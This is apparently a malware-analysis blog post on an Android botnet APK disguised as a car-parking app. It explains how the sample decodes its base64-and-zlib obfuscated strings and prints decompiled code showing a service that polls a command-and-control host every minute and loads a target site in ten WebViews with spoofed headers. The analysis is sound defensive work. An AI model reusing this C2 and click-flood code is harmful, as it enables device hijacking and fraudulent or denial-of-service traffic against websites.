n0ps

Android Malware Analysis Series - tclicker.apk - Part 4

Untitled

Sample Source:

https://koodous.com/apks/afaf781bdd2cbfb8542bdc97782a82f85b97e6debdfc687a011597ac6a7b7db6/general-information

SHA256 Hash: afaf781bdd2cbfb8542bdc97782a82f85b97e6debdfc687a011597ac6a7b7db6

Introduction

The tclicker.apk botnet sample uses an encryption class to encode the C2 strings and calls a decode method to base64 code and zip referenced Strings. Definitely a great exercise in playing with the some manual coding and decrypting an array of encoded values.

Decompilation and Analysis

Manifest.xml file

The manifest file references three different components all which appear somewhat benign at first. The permissions seem to be related to WIFI, NETWORK and BOOT capabilities. Nothing to out of the ordinary.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1" package="com.araba_car_park_oto">
    <uses-sdk android:minSdkVersion="10"/>
    <application android:label="@string/app_name" android:icon="@drawable/steering1">
        <receiver android:name="com.araba_car_park_oto.Complete" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
                <action android:name="android.net.wifi.STATE_CHANGE"/>
            </intent-filter>
        </receiver>
        <activity android:label="@string/app_name" android:name="com.araba_car_park_oto.StartActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <service android:name="com.araba_car_park_oto.WidgetJava"/>
    </application>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>   

StartActivity Class

After loading the APK into jadx-gui and doing an initial analysis of the sample it appears some sort of encrypting or encoding is happening to strings passed into the application.

On lines 92 and 96 of the StartActivity class two encrypted strings are passed into the psi Intent.

[TRUNCATED]
Intent psi = new Intent("android.intent.action.VIEW");
            psi.setData(Uri.parse(encrypt.decode("eJzLTSzKTi2x0tcvTk0sSs6wL7QtyEvMTbUCAG8VCMs=")));
            psi.setFlags(268435456);
            startActivity(psi);
            Intent mrt = getPackageManager().getLaunchIntentForPackage(encrypt.decode("eJxLzs/VS8xLKcrPTNErS81LycxLBwBJFQdo"));
            startActivity(mrt);
            finish();
[TRUNCATED]

encrypt Class

The encrypt class appears to be doing the bulk of the work for decoding the hardcoded strings supplied via the APK. The encoding is using a mix of base64 and zip you can read more about the class imported from the zip library here.

[TRUNCATED]
public static String decode(String paramString) throws IOException {
        if (buf == null) {
            buf = new byte[8192];
        }
        if (baos == null) {
            baos = new ByteArrayOutputStream(8192);
        }
        InflaterInputStream localInflaterInputStream = new InflaterInputStream(new ByteArrayInputStream(Base64.decode(paramString, 0)));
        baos.reset();
        int i = localInflaterInputStream.read(buf);
        while (i != -1) {
            baos.write(buf, 0, i);
            int j = localInflaterInputStream.read(buf);
            i = j;
        }
        localInflaterInputStream.close();
        String str = new String(baos.toByteArray(), "UTF-8");
        return str;
    }
}

Stand Alone Decryption

Using Visual Studio Code I was able to drop the class as a stand alone Java file that allowed for quick decoding of the encrypted strings. This could also be done using Programiz or any other stand alone Java compiler if the include libraries are supported. I did a bit of modification to the class and grepped out the strings before hand and supplied them as an array into the decode method.

Untitled

The first two strings reference the Play Store deeplink and the URL schema see reference here along with what appears to be the Play Store package reference.

WidgetJava Class

This is the brain of the botnet again we can see various encoded strings supplied as input into the class.

Firstly the class begins by setting the needed values to run against its target/s. Which appear to be timing Strings, arrays, URLs, and a list of integars.

public class WidgetJava extends Service {
    static final long ZAMAN = 60000;
    Handler Helper;
    Timer TimeBooster;
    String agentim;
    boolean dolu;
    int faken;
    String[] parcala;
    String pathn;
    int portn;
    String refim;
    String siten;
    int threadsn;
    ArrayList Director = new ArrayList();
    String kaynak = "";
    private List<AsyncTask<URL, Integer, Integer>> _attack_threads = new ArrayList();
    private URL vic = null;
    public boolean runnable = true;
[TRUNCATED]

In the code block below the class is calling out to the C2 and grabbing two text files agent and ref. Then it is loading ten WebViews to load the referenced text files content from the C2. Since this sample C2 URL is down it is hard to known exactly what each text file contains.

[TRUNCATED]
this.siten = site;
        this.threadsn = threads;
        try { // http://attack.systems/agent.txt
            this.agentim = kaynakal(encrypt.decode("eJzLKCkpsNLXTywpSUzO1iuuLC5JzS3WT0xPzSvRK6koAQC6iAvj")).trim(); // http://attack.systems/agent.txt
        } catch (IOException e) {
            e.printStackTrace();
        }
        try { // http://attack.systems/ref.txt
            this.refim = kaynakal(encrypt.decode("eJzLKCkpsNLXTywpSUzO1iuuLC5JzS3WL0pN0yupKAEAozoLEQ==")).trim(); // http://attack.systems/ref.txt
        } catch (IOException e2) {
            e2.printStackTrace();
        }
        if (islem.trim().equals("cross")) {
            Map<String, String> extraHeaders = new HashMap<>();
            extraHeaders.put("Referer", this.refim);
            WebView wv = new WebView(this);
            wv.getSettings().setUserAgentString(this.agentim);
            wv.getSettings().setJavaScriptEnabled(true);
            wv.loadUrl(this.siten, extraHeaders);
            WebView wv1 = new WebView(this);
            wv1.getSettings().setUserAgentString(this.agentim);
            wv1.getSettings().setJavaScriptEnabled(true);
            wv1.loadUrl(this.siten, extraHeaders);
            WebView wv2 = new WebView(this);
            wv2.getSettings().setUserAgentString(this.agentim);
            wv2.getSettings().setJavaScriptEnabled(true);
            wv2.loadUrl(this.siten, extraHeaders);
            WebView wv3 = new WebView(this);
            wv3.getSettings().setUserAgentString(this.agentim);
            wv3.getSettings().setJavaScriptEnabled(true);
            wv3.loadUrl(this.siten, extraHeaders);
            WebView wv4 = new WebView(this);
            wv4.getSettings().setUserAgentString(this.agentim);
            wv4.getSettings().setJavaScriptEnabled(true);
            wv4.loadUrl(this.siten, extraHeaders);
            WebView wv5 = new WebView(this);
            wv5.getSettings().setUserAgentString(this.agentim);
            wv5.getSettings().setJavaScriptEnabled(true);
            wv5.loadUrl(this.siten, extraHeaders);
            WebView wv6 = new WebView(this);
            wv6.getSettings().setUserAgentString(this.agentim);
            wv6.getSettings().setJavaScriptEnabled(true);
            wv6.loadUrl(this.siten, extraHeaders);
            WebView wv7 = new WebView(this);
            wv7.getSettings().setUserAgentString(this.agentim);
            wv7.getSettings().setJavaScriptEnabled(true);
            wv7.loadUrl(this.siten, extraHeaders);
            WebView wv8 = new WebView(this);
            wv8.getSettings().setUserAgentString(this.agentim);
            wv8.getSettings().setJavaScriptEnabled(true);
            wv8.loadUrl(this.siten, extraHeaders);
            WebView wv9 = new WebView(this);
            wv9.getSettings().setUserAgentString(this.agentim);
            wv9.getSettings().setJavaScriptEnabled(true);
            wv9.loadUrl(this.siten, extraHeaders);
            WebView wv10 = new WebView(this);
            wv10.getSettings().setUserAgentString(this.agentim);
            wv10.getSettings().setJavaScriptEnabled(true);
            wv10.loadUrl(this.siten, extraHeaders);
            return;
        }
[TRUNCATED] 

We can see in the onCreate method imports the Timer library (more info here) which can be used to schedule various tasks in the background. Then the data type Long ZAMAN is loaded into the context of run method which again is calling out to the C2.

[TRUNCATED]
		public void onCreate() {
        super.onCreate();
        int Sayi = Build.VERSION.SDK_INT;
        if (Sayi >= 9) {
            StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
            StrictMode.setThreadPolicy(policy);
        }
        this.TimeBooster = new Timer();
        this.Helper = new Handler(Looper.getMainLooper());
        this.TimeBooster.scheduleAtFixedRate(new TimerTask() { // from class: com.araba_car_park_oto.WidgetJava.1
            @Override // java.util.TimerTask, java.lang.Runnable
            public void run() {
                try {
                    if (!WidgetJava.this.internetBaglantisiVarMi()) {
                        return;
                    }
                    WidgetJava.this.bilgiVer();
                } catch (Exception e) {
                }
            }
        }, 0L, ZAMAN);
    }

    /* JADX INFO: Access modifiers changed from: private */
    @SuppressLint({"NewApi"})
    public void bilgiVer() {
        this.dolu = false;
        try { // http://attack.systems/com
            this.kaynak = kaynakal(encrypt.decode("eJzLKCkpsNLXTywpSUzO1iuuLC5JzS3WT87P1QcAg1gJtA==")).trim(); // http://attack.systems/com
[TRUNCATED]

Dynamic Analysis

After installing the sample on an emulated device we can see that the malware attempts to reach to the path /com in the URL decoded from the encrypt class http://attack.systems every minute on the minute. Confirming the analysis seen above.

Untitled

Conclusion

This was a pretty short analysis and was mostly intended to be an exercise in the following functionality of the malware sample:

  • Manually transferring the encrypt class to a standalone IDE for manual decryption.
  • Analysis of the main WidgetJava class and how the C2 is called and invoked in the component.
  • General observation of the application at runtime.

Github repo with class for decoding strings [here] (https://github.com/n0psn0ps/tclicker-analysis).